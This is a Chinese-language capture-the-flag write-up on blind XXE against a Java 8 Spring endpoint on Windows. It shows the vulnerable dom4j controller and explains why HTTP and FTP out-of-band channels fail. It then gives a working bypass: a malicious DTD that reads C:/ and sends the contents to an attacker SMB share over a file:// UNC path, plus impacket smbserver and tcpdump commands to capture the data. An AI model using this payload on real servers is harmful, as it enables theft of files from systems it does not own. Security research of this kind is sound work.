写在前面
在XXE(XML External Entity Injection)的实际利用中,当遇到没有回显的场景时,通常需要通过OOB(Out-of-Band)方式将数据带出。
传统的XXE-OOB利用中,如果目标文件包含换行符,直接通过HTTP协议外带会因为HTTP请求格式的限制(sun.net.www.protocol.http.HttpURLConnection#checkURL)导致解析失败,早期常用的解决方案是搭建恶意FTP服务器,利用FTP协议对数据格式限制较少的特点,完整接收多行文件内容,但在后面高版本的修复中通过ftp 外带多行数据也被修复了,而机缘巧合下看到朋友发起了一个 XXE 挑战,因而才有了后续的研究
环境分析
Killer的原始小挑战:https://mp.weixin.qq.com/s/Hdd1LeWtzqnc2CGIhPIXBA
简单写写没有很高深的东西
代码非常简单,我们对其做一个简单梳理:
- 存在 XXE 漏洞
- XML 解析为异步操作(排除了利用时间差)
- try-catch+无报错输出(排除了利用报错实现内容外带)
题目环境:
- JDK:8U202(可以通过请求信息判断)
- OS: WIndows(可以通过请求判断猜测不做展开)
通过以上的简单梳理我们知道了,我们需要达成的条件其实是要在 Windows 下通过远程外带读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| package com.example.xxe.controller;
import org.dom4j.Document; import org.dom4j.DocumentException; import org.dom4j.Element; import org.dom4j.io.SAXReader; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; import java.io.StringReader; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.CompletableFuture;
@RestController @RequestMapping("/api/system") public class BlindXxeController {
@PostMapping("/update-config") public ResponseEntity<Map<String, Object>> updateSystemConfig( @RequestParam("configXml") String configXml, HttpServletRequest request) { Map<String, Object> response = new HashMap<>(); try { CompletableFuture.runAsync(() -> { try { SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(configXml)); processConfigDocument(document); } catch (DocumentException e) { System.err.println("配置处理错误: " + e.getMessage()); } }); response.put("status", "success"); response.put("message", "配置更新请求已提交,正在后台处理"); return ResponseEntity.ok(response); } catch (Exception e) { response.put("status", "error"); response.put("message", "配置更新请求失败"); response.put("error", "系统内部错误"); return ResponseEntity.internalServerError().body(response); } }
private void processConfigDocument(Document document) { try { Element root = document.getRootElement(); List<Element> settings = root.elements("setting"); for (Element setting : settings) { String name = setting.attributeValue("name"); String value = setting.getTextTrim(); System.out.println("更新配置: " + name + " = " + value); } System.out.println("配置处理完成,共处理 " + settings.size() + " 个配置项"); } catch (Exception e) { System.err.println("配置处理异常: " + e.getMessage()); } }
}
|
破局思路
其实如何完成这个挑战非常简单,回顾历史 JDK 修复从来都只是修复协议中出现的换行字符
我们也可以得到一个共识:协议只是数据的载体
首先我们需要知道的是 Java 有哪些协议呢,这个答案比较好找,找sun.net.www.protocol.下的 package 名即可知道
我这里本地环境是 jdk17,所以当前环境下存在 file/ftp/http(s)/jar/jmod/jrt/mailto 这几个协议,从字面猜测可能存在对外请求的有 ftp/http(s)/mailto

首先可以排除的就是 http(s) 以及 ftp,而 mailto 呢好巧不巧它实际上只是一个“启动器”协议,本身在 java 中并不能实现信息外带,本身没有实现 getInputStream

看起来表面上来看这些协议都不能用于请求外带了,那这时候真的就完全没办法了么?
显然并不是,我们一开始在环境解析过程中已知当前 Java 是在 Windows 系统下的,那么我们完全可以通过 file :走 UNC 触发 SMB 协议交互
经过测试 file 协议下确实并没有对换行做限制,报错只是因为带换行符的文件并不存在

在 linux 上启动 SMB,需要注意impacket不会把解析失败的原始数据打印出来
1
| sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /tmp -smb2support -debug
|
所以还需要通过 tcpdump 获取完整协议交互流量
1
| sudo tcpdump -i eth0 port 445 -A -s 0
|
构造 DTD,因为 java 的 file 自带列目录功能,我们首先需要读取 flag 的位置
1 2
| <!ENTITY % file SYSTEM "file:///C:/"> <!ENTITY % all "<!ENTITY send SYSTEM 'file://ip/share/%file;'>">
|

这时候我们便可以看到 flag 文件名接下来读取 flag 就不难了